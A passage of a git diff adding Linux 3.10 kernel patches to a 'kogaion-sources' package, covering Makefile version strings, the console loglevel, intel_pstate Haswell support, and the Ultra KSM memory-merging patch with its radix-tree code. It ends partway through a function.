+ 	---help---
+@@ -1169,17 +1169,17 @@
+ 	  option alone!
+ 
+ 	config VMSPLIT_3G
+-		bool "3G/1G user/kernel split"
++		bool "Default 896MB lowmem (3G/1G user/kernel split)"
+ 	config VMSPLIT_3G_OPT
+ 		depends on !X86_PAE
+-		bool "3G/1G user/kernel split (for full 1G low memory)"
++		bool "1GB lowmem (3G/1G user/kernel split)"
+ 	config VMSPLIT_2G
+-		bool "2G/2G user/kernel split"
++		bool "2GB lowmem (2G/2G user/kernel split)"
+ 	config VMSPLIT_2G_OPT
+ 		depends on !X86_PAE
+-		bool "2G/2G user/kernel split (for full 2G low memory)"
++		bool "2GB lowmem (2G/2G user/kernel split)"
+ 	config VMSPLIT_1G
+-		bool "1G/3G user/kernel split"
++		bool "3GB lowmem (1G/3G user/kernel split)"
+ endchoice
+ 
+ config PAGE_OFFSET
+Index: linux-3.10-ck1/Makefile
+===================================================================
+--- linux-3.10-ck1.orig/Makefile	2013-07-09 17:28:57.029502088 +1000
++++ linux-3.10-ck1/Makefile	2013-07-09 17:29:01.490501896 +1000
+@@ -10,6 +10,10 @@
+ # Comments in this file are targeted only to the developer, do not
+ # expect to learn how to build the kernel reading this file.
+ 
++CKVERSION = -ck1
++CKNAME = BFS Powered
++EXTRAVERSION := $(EXTRAVERSION)$(CKVERSION)
++
+ # Do not:
+ # o  use make's built-in rules and variables
+ #    (this increases performance and avoids hard-to-debug behaviour);
diff --git a/sys-kernel/kogaion-sources/files/desktop/change-default-console-loglevel.patch b/sys-kernel/kogaion-sources/files/desktop/change-default-console-loglevel.patch
new file mode 100644
index 00000000..5f16dee5
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/change-default-console-loglevel.patch
@@ -0,0 +1,13 @@
+// change-default-console-loglevel.patch
+diff -upr linux-3.0.orig/kernel/printk.c linux-3.0/kernel/printk.c
+--- linux-3.0.orig/kernel/printk.c	2011-07-22 05:17:23.000000000 +0300
++++ linux-3.0/kernel/printk.c	2011-07-27 14:43:07.000000000 +0300
+@@ -58,7 +58,7 @@ void asmlinkage __attribute__((weak)) ea
+ 
+ /* We show everything that is MORE important than this.. */
+ #define MINIMUM_CONSOLE_LOGLEVEL 1 /* Minimum loglevel we let people use */
+-#define DEFAULT_CONSOLE_LOGLEVEL 7 /* anything MORE serious than KERN_DEBUG */
++#define DEFAULT_CONSOLE_LOGLEVEL 4 /* anything MORE serious than KERN_WARNING */
+ 
+ DECLARE_WAIT_QUEUE_HEAD(log_wait);
+ 
diff --git a/sys-kernel/kogaion-sources/files/desktop/criu-no-expert.patch b/sys-kernel/kogaion-sources/files/desktop/criu-no-expert.patch
new file mode 100644
index 00000000..b22aa9f5
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/criu-no-expert.patch
@@ -0,0 +1,23 @@
+// criu-no-expert.patch
+diff --git a/init/Kconfig b/init/Kconfig
+index be8b7f5..7461760 100644
+--- a/init/Kconfig
++++ b/init/Kconfig
+@@ -989,7 +989,7 @@ config DEBUG_BLK_CGROUP
+ endif # CGROUPS
+ 
+ config CHECKPOINT_RESTORE
+-	bool "Checkpoint/restore support" if EXPERT
++	bool "Checkpoint/restore support"
+ 	default n
+ 	help
+ 	  Enables additional kernel features in a sake of checkpoint/restore.
+@@ -1000,7 +1000,7 @@ config CHECKPOINT_RESTORE
+ 	  If unsure, say N here.
+ 
+ menuconfig NAMESPACES
+-	bool "Namespaces support" if EXPERT
++	bool "Namespaces support"
+ 	default !EXPERT
+ 	help
+ 	  Provides the way to make tasks work with different objects using
diff --git a/sys-kernel/kogaion-sources/files/desktop/enable_haswell_pstate_driver.patch b/sys-kernel/kogaion-sources/files/desktop/enable_haswell_pstate_driver.patch
new file mode 100644
index 00000000..031f8d2f
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/enable_haswell_pstate_driver.patch
@@ -0,0 +1,33 @@
+// enable_haswell_pstate_driver.patch
+--- linux-3.10/drivers/cpufreq/intel_pstate.c	2013-06-30 18:13:29.000000000 -0400
++++ linux-3.10.mod/drivers/cpufreq/intel_pstate.c	2013-07-05 03:10:36.164568840 -0400
+@@ -522,6 +522,11 @@
+ 	ICPU(0x2a, default_policy),
+ 	ICPU(0x2d, default_policy),
+ 	ICPU(0x3a, default_policy),
++	ICPU(0x3a, default_policy),
++	ICPU(0x3c, default_policy),
++	ICPU(0x3f, default_policy),
++	ICPU(0x45, default_policy),
++	ICPU(0x46, default_policy),
+ 	{}
+ };
+ MODULE_DEVICE_TABLE(x86cpu, intel_pstate_cpu_ids);
+--- linux-3.10/drivers/cpufreq/Kconfig.x86	2013-06-30 18:13:29.000000000 -0400
++++ linux-3.10.mod/drivers/cpufreq/Kconfig.x86	2013-07-05 03:13:22.823827792 -0400
+@@ -6,12 +6,12 @@
+        bool "Intel P state control"
+        depends on X86
+        help
+-          This driver provides a P state for Intel core processors.
++          This driver provides a P state for Intel Core processors.
+ 	  The driver implements an internal governor and will become
+-          the scaling driver and governor for Sandy bridge processors.
++          the scaling driver and governor for Sandy/Ivy Bridge and Haswell processors.
+ 
+ 	  When this driver is enabled it will become the perferred
+-          scaling driver for Sandy bridge processors.
++          scaling driver for Sandy/Ivy Bridge and Haswell processors.
+ 
+ 	  If in doubt, say N.
+ 
diff --git a/sys-kernel/kogaion-sources/files/desktop/set_kogaion_extraversion_in_makefile.patch b/sys-kernel/kogaion-sources/files/desktop/set_kogaion_extraversion_in_makefile.patch
new file mode 100644
index 00000000..a20090f8
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/set_kogaion_extraversion_in_makefile.patch
@@ -0,0 +1,12 @@
+diff -Nur a/Makefile b/Makefile
+--- a/Makefile	2014-01-30 20:52:03.849613917 +0200
++++ b/Makefile	2014-01-30 20:56:12.859500865 +0200
+@@ -10,7 +10,7 @@
+ # Comments in this file are targeted only to the developer, do not
+ # expect to learn how to build the kernel reading this file.
+ 
+-CKVERSION = -ck1
++CKVERSION = -kogaion
+ CKNAME = BFS Powered
+ EXTRAVERSION := $(EXTRAVERSION)$(CKVERSION)
+ 
diff --git a/sys-kernel/kogaion-sources/files/desktop/uksm-0.1.2.2-for-v3.10.patch b/sys-kernel/kogaion-sources/files/desktop/uksm-0.1.2.2-for-v3.10.patch
new file mode 100644
index 00000000..f62addd2
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/uksm-0.1.2.2-for-v3.10.patch
@@ -0,0 +1,7064 @@
+diff --git a/Documentation/vm/00-INDEX b/Documentation/vm/00-INDEX
+index 5481c8b..7141876 100644
+--- a/Documentation/vm/00-INDEX
++++ b/Documentation/vm/00-INDEX
+@@ -14,6 +14,8 @@ hwpoison.txt
+ 	- explains what hwpoison is
+ ksm.txt
+ 	- how to use the Kernel Samepage Merging feature.
++uksm.txt
++	- Introduction to Ultra KSM
+ locking
+ 	- info on how locking and synchronization is done in the Linux vm code.
+ map_hugetlb.c
+diff --git a/Documentation/vm/uksm.txt b/Documentation/vm/uksm.txt
+new file mode 100644
+index 0000000..9b2cb51
+--- /dev/null
++++ b/Documentation/vm/uksm.txt
+@@ -0,0 +1,57 @@
++The Ultra Kernel Samepage Merging feature
++----------------------------------------------
++/*
++ * Ultra KSM. Copyright (C) 2011-2012 Nai Xia
++ *
++ * This is an improvement upon KSM. Some basic data structures and routines
++ * are borrowed from ksm.c .
++ *
++ * Its new features:
++ * 1. Full system scan:
++ *      It automatically scans all user processes' anonymous VMAs. Kernel-user
++ *      interaction to submit a memory area to KSM is no longer needed.
++ *
++ * 2. Rich area detection:
++ *      It automatically detects rich areas containing abundant duplicated
++ *      pages based. Rich areas are given a full scan speed. Poor areas are
++ *      sampled at a reasonable speed with very low CPU consumption.
++ *
++ * 3. Ultra Per-page scan speed improvement:
++ *      A new hash algorithm is proposed. As a result, on a machine with
++ *      Core(TM)2 Quad Q9300 CPU in 32-bit mode and 800MHZ DDR2 main memory, it
++ *      can scan memory areas that does not contain duplicated pages at speed of
++ *      627MB/sec ~ 2445MB/sec and can merge duplicated areas at speed of
++ *      477MB/sec ~ 923MB/sec.
++ *
++ * 4. Thrashing area avoidance:
++ *      Thrashing area(an VMA that has frequent Ksm page break-out) can be
++ *      filtered out. My benchmark shows it's more efficient than KSM's per-page
++ *      hash value based volatile page detection.
++ *
++ *
++ * 5. Misc changes upon KSM:
++ *      * It has a fully x86-opitmized memcmp dedicated for 4-byte-aligned page
++ *        comparison. It's much faster than default C version on x86.
++ *      * rmap_item now has an struct *page member to loosely cache a
++ *        address-->page mapping, which reduces too much time-costly
++ *        follow_page().
++ *      * The VMA creation/exit procedures are hooked to let the Ultra KSM know.
++ *      * try_to_merge_two_pages() now can revert a pte if it fails. No break_
++ *        ksm is needed for this case.
++ *
++ * 6. Full Zero Page consideration(contributed by Figo Zhang)
++ *    Now uksmd consider full zero pages as special pages and merge them to an
++ *    special unswappable uksm zero page.
++ */
++
++ChangeLog:
++
++2012-05-05 The creation of this Doc
++2012-05-08 UKSM 0.1.1.1 libc crash bug fix, api clean up, doc clean up.
++2012-05-28 UKSM 0.1.1.2 bug fix release
++2012-06-26 UKSM 0.1.2-beta1 first beta release for 0.1.2
++2012-07-2  UKSM 0.1.2-beta2
++2012-07-10 UKSM 0.1.2-beta3
++2012-07-26 UKSM 0.1.2 Fine grained speed control, more scan optimization.
++2012-10-13 UKSM 0.1.2.1 Bug fixes.
++2012-12-31 UKSM 0.1.2.2 Minor bug fixes
+diff --git a/fs/exec.c b/fs/exec.c
+index ffd7a81..1c4d7d3 100644
+--- a/fs/exec.c
++++ b/fs/exec.c
+@@ -19,7 +19,7 @@
+  * current->executable is only used by the procfs.  This allows a dispatch
+  * table to check for several different types  of binary formats.  We keep
+  * trying until we recognize the file or we run out of supported binary
+- * formats. 
++ * formats.
+  */
+ 
+ #include <linux/slab.h>
+@@ -55,6 +55,7 @@
+ #include <linux/pipe_fs_i.h>
+ #include <linux/oom.h>
+ #include <linux/compat.h>
++#include <linux/ksm.h>
+ 
+ #include <asm/uaccess.h>
+ #include <asm/mmu_context.h>
+@@ -1139,7 +1140,7 @@ void setup_new_exec(struct linux_binprm * bprm)
+ 	   group */
+ 
+ 	current->self_exec_id++;
+-			
++
+ 	flush_signal_handlers(current, 0);
+ 	do_close_on_exec(current->files);
+ }
+@@ -1265,8 +1266,8 @@ static int check_unsafe_exec(struct linux_binprm *bprm)
+ 	return res;
+ }
+ 
+-/* 
+- * Fill the binprm structure from the inode. 
++/*
++ * Fill the binprm structure from the inode.
+  * Check permissions, then read the first 128 (BINPRM_BUF_SIZE) bytes
+  *
+  * This may be called multiple times for binary chains (scripts for example).
+diff --git a/fs/proc/meminfo.c b/fs/proc/meminfo.c
+index 5aa847a..c6c5553 100644
+--- a/fs/proc/meminfo.c
++++ b/fs/proc/meminfo.c
+@@ -88,6 +88,9 @@ static int meminfo_proc_show(struct seq_file *m, void *v)
+ 		"SUnreclaim:     %8lu kB\n"
+ 		"KernelStack:    %8lu kB\n"
+ 		"PageTables:     %8lu kB\n"
++#ifdef CONFIG_UKSM
++		"KsmZeroPages:   %8lu kB\n"
++#endif
+ #ifdef CONFIG_QUICKLIST
+ 		"Quicklists:     %8lu kB\n"
+ #endif
+@@ -147,6 +150,9 @@ static int meminfo_proc_show(struct seq_file *m, void *v)
+ 		K(global_page_state(NR_SLAB_UNRECLAIMABLE)),
+ 		global_page_state(NR_KERNEL_STACK) * THREAD_SIZE / 1024,
+ 		K(global_page_state(NR_PAGETABLE)),
++#ifdef CONFIG_UKSM
++		K(global_page_state(NR_UKSM_ZERO_PAGES)),
++#endif
+ #ifdef CONFIG_QUICKLIST
+ 		K(quicklist_total_size()),
+ #endif
+diff --git a/include/asm-generic/pgtable.h b/include/asm-generic/pgtable.h
+index a59ff51..df359cc 100644
+--- a/include/asm-generic/pgtable.h
++++ b/include/asm-generic/pgtable.h
+@@ -453,12 +453,25 @@ extern void untrack_pfn(struct vm_area_struct *vma, unsigned long pfn,
+ 			unsigned long size);
+ #endif
+ 
++#ifdef CONFIG_UKSM
++static inline int is_uksm_zero_pfn(unsigned long pfn)
++{
++	extern unsigned long uksm_zero_pfn;
++        return pfn == uksm_zero_pfn;
++}
++#else
++static inline int is_uksm_zero_pfn(unsigned long pfn)
++{
++        return 0;
++}
++#endif
++
+ #ifdef __HAVE_COLOR_ZERO_PAGE
+ static inline int is_zero_pfn(unsigned long pfn)
+ {
+ 	extern unsigned long zero_pfn;
+ 	unsigned long offset_from_zero_pfn = pfn - zero_pfn;
+-	return offset_from_zero_pfn <= (zero_page_mask >> PAGE_SHIFT);
++	return offset_from_zero_pfn <= (zero_page_mask >> PAGE_SHIFT) || is_uksm_zero_pfn(pfn);
+ }
+ 
+ #define my_zero_pfn(addr)	page_to_pfn(ZERO_PAGE(addr))
+@@ -467,7 +480,7 @@ static inline int is_zero_pfn(unsigned long pfn)
+ static inline int is_zero_pfn(unsigned long pfn)
+ {
+ 	extern unsigned long zero_pfn;
+-	return pfn == zero_pfn;
++	return (pfn == zero_pfn) || (is_uksm_zero_pfn(pfn));
+ }
+ 
+ static inline unsigned long my_zero_pfn(unsigned long addr)
+diff --git a/include/linux/ksm.h b/include/linux/ksm.h
+index 45c9b6a..c7de7a7 100644
+--- a/include/linux/ksm.h
++++ b/include/linux/ksm.h
+@@ -19,21 +19,6 @@ struct mem_cgroup;
+ #ifdef CONFIG_KSM
+ int ksm_madvise(struct vm_area_struct *vma, unsigned long start,
+ 		unsigned long end, int advice, unsigned long *vm_flags);
+-int __ksm_enter(struct mm_struct *mm);
+-void __ksm_exit(struct mm_struct *mm);
+-
+-static inline int ksm_fork(struct mm_struct *mm, struct mm_struct *oldmm)
+-{
+-	if (test_bit(MMF_VM_MERGEABLE, &oldmm->flags))
+-		return __ksm_enter(mm);
+-	return 0;
+-}
+-
+-static inline void ksm_exit(struct mm_struct *mm)
+-{
+-	if (test_bit(MMF_VM_MERGEABLE, &mm->flags))
+-		__ksm_exit(mm);
+-}
+ 
+ /*
+  * A KSM page is one of those write-protected "shared pages" or "merged pages"
+@@ -80,6 +65,33 @@ int rmap_walk_ksm(struct page *page, int (*rmap_one)(struct page *,
+ 		  struct vm_area_struct *, unsigned long, void *), void *arg);
+ void ksm_migrate_page(struct page *newpage, struct page *oldpage);
+ 
++#ifdef CONFIG_KSM_LEGACY
++int __ksm_enter(struct mm_struct *mm);
++void __ksm_exit(struct mm_struct *mm);
++static inline int ksm_fork(struct mm_struct *mm, struct mm_struct *oldmm)
++{
++	if (test_bit(MMF_VM_MERGEABLE, &oldmm->flags))
++		return __ksm_enter(mm);
++	return 0;
++}
++
++static inline void ksm_exit(struct mm_struct *mm)
++{
++	if (test_bit(MMF_VM_MERGEABLE, &mm->flags))
++		__ksm_exit(mm);
++}
++
++#elif defined(CONFIG_UKSM)
++static inline int ksm_fork(struct mm_struct *mm, struct mm_struct *oldmm)
++{
++	return 0;
++}
++
++static inline void ksm_exit(struct mm_struct *mm)
++{
++}
++#endif /* !CONFIG_UKSM */
++
+ #else  /* !CONFIG_KSM */
+ 
+ static inline int ksm_fork(struct mm_struct *mm, struct mm_struct *oldmm)
+@@ -132,4 +144,6 @@ static inline void ksm_migrate_page(struct page *newpage, struct page *oldpage)
+ #endif /* CONFIG_MMU */
+ #endif /* !CONFIG_KSM */
+ 
++#include <linux/uksm.h>
++
+ #endif /* __LINUX_KSM_H */
+diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
+index ace9a5f..6a76d6e 100644
+--- a/include/linux/mm_types.h
++++ b/include/linux/mm_types.h
+@@ -289,6 +289,9 @@ struct vm_area_struct {
+ #ifdef CONFIG_NUMA
+ 	struct mempolicy *vm_policy;	/* NUMA policy for the VMA */
+ #endif
++#ifdef CONFIG_UKSM
++	struct vma_slot *uksm_vma_slot;
++#endif
+ };
+ 
+ struct core_thread {
+diff --git a/include/linux/mmzone.h b/include/linux/mmzone.h
+index 5c76737..a631b29 100644
+--- a/include/linux/mmzone.h
++++ b/include/linux/mmzone.h
+@@ -143,6 +143,9 @@ enum zone_stat_item {
+ #endif
+ 	NR_ANON_TRANSPARENT_HUGEPAGES,
+ 	NR_FREE_CMA_PAGES,
++#ifdef CONFIG_UKSM
++	NR_UKSM_ZERO_PAGES,
++#endif
+ 	NR_VM_ZONE_STAT_ITEMS };
+ 
+ /*
+@@ -849,7 +852,7 @@ static inline int is_normal_idx(enum zone_type idx)
+ }
+ 
+ /**
+- * is_highmem - helper function to quickly check if a struct zone is a 
++ * is_highmem - helper function to quickly check if a struct zone is a
+  *              highmem zone or not.  This is an attempt to keep references
+  *              to ZONE_{DMA/NORMAL/HIGHMEM/etc} in general code to a minimum.
+  * @zone - pointer to struct zone variable
+diff --git a/include/linux/sradix-tree.h b/include/linux/sradix-tree.h
+new file mode 100644
+index 0000000..6780fdb
+--- /dev/null
++++ b/include/linux/sradix-tree.h
+@@ -0,0 +1,77 @@
++#ifndef _LINUX_SRADIX_TREE_H
++#define _LINUX_SRADIX_TREE_H
++
++
++#define INIT_SRADIX_TREE(root, mask)					\
++do {									\
++	(root)->height = 0;						\
++	(root)->gfp_mask = (mask);					\
++	(root)->rnode = NULL;						\
++} while (0)
++
++#define ULONG_BITS	(sizeof(unsigned long) * 8)
++#define SRADIX_TREE_INDEX_BITS  (8 /* CHAR_BIT */ * sizeof(unsigned long))
++//#define SRADIX_TREE_MAP_SHIFT	6
++//#define SRADIX_TREE_MAP_SIZE	(1UL << SRADIX_TREE_MAP_SHIFT)
++//#define SRADIX_TREE_MAP_MASK	(SRADIX_TREE_MAP_SIZE-1)
++
++struct sradix_tree_node {
++	unsigned int	height;		/* Height from the bottom */
++	unsigned int	count;		
++	unsigned int	fulls;		/* Number of full sublevel trees */ 
++	struct sradix_tree_node *parent;
++	void *stores[0];
++};
++
++/* A simple radix tree implementation */
++struct sradix_tree_root {
++        unsigned int            height;
++        struct sradix_tree_node *rnode;
++
++	/* Where found to have available empty stores in its sublevels */
++        struct sradix_tree_node *enter_node;
++	unsigned int shift;
++	unsigned int stores_size;
++	unsigned int mask;
++	unsigned long min;	/* The first hole index */
++	unsigned long num;
++	//unsigned long *height_to_maxindex;
++
++	/* How the node is allocated and freed. */
++	struct sradix_tree_node *(*alloc)(void); 
++	void (*free)(struct sradix_tree_node *node);
++
++	/* When a new node is added and removed */
++	void (*extend)(struct sradix_tree_node *parent, struct sradix_tree_node *child);
++	void (*assign)(struct sradix_tree_node *node, unsigned index, void *item);
++	void (*rm)(struct sradix_tree_node *node, unsigned offset);
++};
++
++struct sradix_tree_path {
++	struct sradix_tree_node *node;
++	int offset;
++};
++
++static inline 
++void init_sradix_tree_root(struct sradix_tree_root *root, unsigned long shift)
++{
++	root->height = 0;
++	root->rnode = NULL;
++	root->shift = shift;
++	root->stores_size = 1UL << shift;
++	root->mask = root->stores_size - 1;
++}
++
++
++extern void *sradix_tree_next(struct sradix_tree_root *root,
++		       struct sradix_tree_node *node, unsigned long index,
++		       int (*iter)(void *, unsigned long));
++
++extern int sradix_tree_enter(struct sradix_tree_root *root, void **item, int num);
++
++extern void sradix_tree_delete_from_leaf(struct sradix_tree_root *root, 
++			struct sradix_tree_node *node, unsigned long index);
++
++extern void *sradix_tree_lookup(struct sradix_tree_root *root, unsigned long index);
++
++#endif /* _LINUX_SRADIX_TREE_H */
+diff --git a/include/linux/uksm.h b/include/linux/uksm.h
+new file mode 100644
+index 0000000..a644bca
+--- /dev/null
++++ b/include/linux/uksm.h
+@@ -0,0 +1,146 @@
++#ifndef __LINUX_UKSM_H
++#define __LINUX_UKSM_H
++/*
++ * Memory merging support.
++ *
++ * This code enables dynamic sharing of identical pages found in different
++ * memory areas, even if they are not shared by fork().
++ */
++
++/* if !CONFIG_UKSM this file should not be compiled at all. */
++#ifdef CONFIG_UKSM
++
++#include <linux/bitops.h>
++#include <linux/mm.h>
++#include <linux/pagemap.h>
++#include <linux/rmap.h>
++#include <linux/sched.h>
++
++extern unsigned long zero_pfn __read_mostly;
++extern unsigned long uksm_zero_pfn __read_mostly;
++extern struct page *empty_uksm_zero_page;
++
++/* must be done before linked to mm */
++extern void uksm_vma_add_new(struct vm_area_struct *vma);
++extern void uksm_remove_vma(struct vm_area_struct *vma);
++
++#define UKSM_SLOT_NEED_SORT	(1 << 0)
++#define UKSM_SLOT_NEED_RERAND 	(1 << 1)
++#define UKSM_SLOT_SCANNED     	(1 << 2) /* It's scanned in this round */
++#define UKSM_SLOT_FUL_SCANNED 	(1 << 3)
++#define UKSM_SLOT_IN_UKSM 	(1 << 4)
++
++struct vma_slot {
++	struct sradix_tree_node *snode;
++	unsigned long sindex;
++
++	struct list_head slot_list;
++	unsigned long fully_scanned_round;
++	unsigned long dedup_num;
++	unsigned long pages_scanned;
++	unsigned long last_scanned;
++	unsigned long pages_to_scan;
++	struct scan_rung *rung;
++	struct page **rmap_list_pool;
++	unsigned int *pool_counts;
++	unsigned long pool_size;
++	struct vm_area_struct *vma;
++	struct mm_struct *mm;
++	unsigned long ctime_j;
++	unsigned long pages;
++	unsigned long flags;
++	unsigned long pages_cowed; /* pages cowed this round */
++	unsigned long pages_merged; /* pages merged this round */
++	unsigned long pages_bemerged;
++
++	/* when it has page merged in this eval round */
++	struct list_head dedup_list;
++};
++
++static inline void uksm_unmap_zero_page(pte_t pte)
++{
++	if (pte_pfn(pte) == uksm_zero_pfn)
++		__dec_zone_page_state(empty_uksm_zero_page, NR_UKSM_ZERO_PAGES);
++}
++
++static inline void uksm_map_zero_page(pte_t pte)
++{
++	if (pte_pfn(pte) == uksm_zero_pfn)
++		__inc_zone_page_state(empty_uksm_zero_page, NR_UKSM_ZERO_PAGES);
++}
++
++static inline void uksm_cow_page(struct vm_area_struct *vma, struct page *page)
++{
++	if (vma->uksm_vma_slot && PageKsm(page))
++		vma->uksm_vma_slot->pages_cowed++;
++}
++
++static inline void uksm_cow_pte(struct vm_area_struct *vma, pte_t pte)
++{
++	if (vma->uksm_vma_slot && pte_pfn(pte) == uksm_zero_pfn)
++		vma->uksm_vma_slot->pages_cowed++;
++}
++
++static inline int uksm_flags_can_scan(unsigned long vm_flags)
++{
++#ifndef VM_SAO
++#define VM_SAO 0
++#endif
++	return !(vm_flags & (VM_PFNMAP | VM_IO  | VM_DONTEXPAND |
++			     VM_HUGETLB | VM_NONLINEAR | VM_MIXEDMAP |
++			     VM_SHARED  | VM_MAYSHARE | VM_GROWSUP | VM_GROWSDOWN | VM_SAO));
++}
++
++static inline void uksm_vm_flags_mod(unsigned long *vm_flags_p)
++{
++	if (uksm_flags_can_scan(*vm_flags_p))
++		*vm_flags_p |= VM_MERGEABLE;
++}
++
++/*
++ * Just a wrapper for BUG_ON for where ksm_zeropage must not be. TODO: it will
++ * be removed when uksm zero page patch is stable enough.
++ */
++static inline void uksm_bugon_zeropage(pte_t pte)
++{
++	BUG_ON(pte_pfn(pte) == uksm_zero_pfn);
++}
++#else
++static inline void uksm_vma_add_new(struct vm_area_struct *vma)
++{
++}
++
++static inline void uksm_remove_vma(struct vm_area_struct *vma)
++{
++}
++
++static inline void uksm_unmap_zero_page(pte_t pte)
++{
++}
++
++static inline void uksm_map_zero_page(pte_t pte)
++{
++}
++
++static inline void uksm_cow_page(struct vm_area_struct *vma, struct page *page)
++{
++}
++
++static inline void uksm_cow_pte(struct vm_area_struct *vma, pte_t pte)
++{
++}
++
++static inline int uksm_flags_can_scan(unsigned long vm_flags)
++{
++	return 0;
++}
++
++static inline void uksm_vm_flags_mod(unsigned long *vm_flags_p)
++{
++}
++
++static inline void uksm_bugon_zeropage(pte_t pte)
++{
++}
++#endif /* !CONFIG_UKSM */
++#endif /* __LINUX_UKSM_H */
+diff --git a/kernel/fork.c b/kernel/fork.c
+index 987b28a..3e89974 100644
+--- a/kernel/fork.c
++++ b/kernel/fork.c
+@@ -397,7 +397,7 @@ static int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
+ 				goto fail_nomem;
+ 			charge = len;
+ 		}
+-		tmp = kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
++		tmp = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
+ 		if (!tmp)
+ 			goto fail_nomem;
+ 		*tmp = *mpnt;
+@@ -454,7 +454,7 @@ static int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
+ 		__vma_link_rb(mm, tmp, rb_link, rb_parent);
+ 		rb_link = &tmp->vm_rb.rb_right;
+ 		rb_parent = &tmp->vm_rb;
+-
++		uksm_vma_add_new(tmp);
+ 		mm->map_count++;
+ 		retval = copy_page_range(mm, oldmm, mpnt);
+ 
+diff --git a/lib/Makefile b/lib/Makefile
+index c55a037..fcf7e6d 100644
+--- a/lib/Makefile
++++ b/lib/Makefile
+@@ -8,7 +8,7 @@ KBUILD_CFLAGS = $(subst -pg,,$(ORIG_CFLAGS))
+ endif
+ 
+ lib-y := ctype.o string.o vsprintf.o cmdline.o \
+-	 rbtree.o radix-tree.o dump_stack.o timerqueue.o\
++	 rbtree.o radix-tree.o sradix-tree.o dump_stack.o timerqueue.o\
+ 	 idr.o int_sqrt.o extable.o \
+ 	 sha1.o md5.o irq_regs.o reciprocal_div.o argv_split.o \
+ 	 proportions.o flex_proportions.o prio_heap.o ratelimit.o show_mem.o \
+diff --git a/lib/sradix-tree.c b/lib/sradix-tree.c
+new file mode 100644
+index 0000000..8d06329
+--- /dev/null
++++ b/lib/sradix-tree.c
+@@ -0,0 +1,476 @@
++#include <linux/errno.h>
++#include <linux/mm.h>
++#include <linux/mman.h>
++#include <linux/spinlock.h>
++#include <linux/slab.h>
++#include <linux/gcd.h>
++#include <linux/sradix-tree.h>
++
++static inline int sradix_node_full(struct sradix_tree_root *root, struct sradix_tree_node *node)
++{
++	return node->fulls == root->stores_size || 
++		(node->height == 1 && node->count == root->stores_size);
++}
++
++/*
++ *	Extend a sradix tree so it can store key @index.
++ */
++static int sradix_tree_extend(struct sradix_tree_root *root, unsigned long index)
++{
++	struct sradix_tree_node *node;
++	unsigned int height;
++
++	if (unlikely(root->rnode == NULL)) {
++		if (!(node = root->alloc()))
++			return -ENOMEM;
++
++		node->height = 1;
++		root->rnode = node;
++		root->height = 1;
++	}
++
++	/* Figure out what the height should be.  */
++	height = root->height;
++	index >>= root->shift * height;
++
++	while (index) {
++		index >>= root->shift;
++		height++;
++	}
++
++	while (height > root->height) {
++		unsigned int newheight;
++		if (!(node = root->alloc()))
++			return -ENOMEM;
++
++		/* Increase the height.  */
++		node->stores[0] = root->rnode;
++		root->rnode->parent = node;
++		if (root->extend)
++			root->extend(node, root->rnode);
++
++		newheight = root->height + 1;
++		node->height = newheight;
++		node->count = 1;
++		if (sradix_node_full(root, root->rnode))
++			node->fulls = 1;
++
++		root->rnode = node;
++		root->height = newheight;
++	}
++
++	return 0;
++}
++
++/*
++ * Search the next item from the current node, that is not NULL
++ * and can satify root->iter().
++ */
++void *sradix_tree_next(struct sradix_tree_root *root,
++		       struct sradix_tree_node *node, unsigned long index,
++		       int (*iter)(void *item, unsigned long height))
++{
++	unsigned long offset;
++	void *item;
++
++	if (unlikely(node == NULL)) {
++		node = root->rnode;
++		for (offset = 0; offset < root->stores_size; offset++) {
++			item = node->stores[offset];
++			if (item && (!iter || iter(item, node->height)))
++				break;
++		}
++
++		if (unlikely(offset >= root->stores_size))
++			return NULL;
++
++		if (node->height == 1)
++			return item;
++		else
++			goto go_down;
++	}
++
++	while (node) {
++		offset = (index & root->mask) + 1;					
++		for (;offset < root->stores_size; offset++) {
++			item = node->stores[offset];
++			if (item && (!iter || iter(item, node->height)))
++				break;
++		}
++
++		if (offset < root->stores_size)
++			break;
++
++		node = node->parent;
++		index >>= root->shift;
++	}
++
++	if (!node)
++		return NULL;
++
++	while (node->height > 1) {
++go_down:
++		node = item;
++		for (offset = 0; offset < root->stores_size; offset++) {
++			item = node->stores[offset];
++			if (item && (!iter || iter(item, node->height)))
++				break;
++		}
++
++		if (unlikely(offset >= root->stores_size))
++			return NULL;
++	}
++
++	BUG_ON(offset > root->stores_size);
++
++	return item;
++}
++
++/*
++ * Blindly insert the item to the tree. Typically, we reuse the
++ * first empty store item.
++ */
++int sradix_tree_enter(struct sradix_tree_root *root, void **item, int num)
++{
++	unsigned long index;
++	unsigned int height;
++	struct sradix_tree_node *node, *tmp = NULL;
++	int offset, offset_saved;
++	void **store = NULL;
++	int error, i, j, shift;
++
++go_on:
++	index = root->min;
++
++	if (root->enter_node && !sradix_node_full(root, root->enter_node)) {
++		node = root->enter_node;
++		BUG_ON((index >> (root->shift * root->height)));
++	} else {
++		node = root->rnode;
++		if (node == NULL || (index >> (root->shift * root->height))
++		    || sradix_node_full(root, node)) {
++			error = sradix_tree_extend(root, index);
++			if (error)
++				return error;
++
++			node = root->rnode;
++		}
++	}
++
++
++	height = node->height;
++	shift = (height - 1) * root->shift;
++	offset = (index >> shift) & root->mask;
++	while (shift > 0) {
++		offset_saved = offset;
++		for (; offset < root->stores_size; offset++) {
++			store = &node->stores[offset];
++			tmp = *store;
++
++			if (!tmp || !sradix_node_full(root, tmp))
++				break;
++		}
++		BUG_ON(offset >= root->stores_size);
++
++		if (offset != offset_saved) {
++			index += (offset - offset_saved) << shift;
++			index &= ~((1UL << shift) - 1);
++		}
++
++		if (!tmp) {
++			if (!(tmp = root->alloc()))
++				return -ENOMEM;
++
++			tmp->height = shift / root->shift;
++			*store = tmp;
++			tmp->parent = node;
++			node->count++;
++//			if (root->extend)
++//				root->extend(node, tmp);
++		}
++
++		node = tmp;
++		shift -= root->shift;
++		offset = (index >> shift) & root->mask;
++	}
++
++	BUG_ON(node->height != 1);
++
++
++	store = &node->stores[offset];
++	for (i = 0, j = 0;
++	      j < root->stores_size - node->count && 
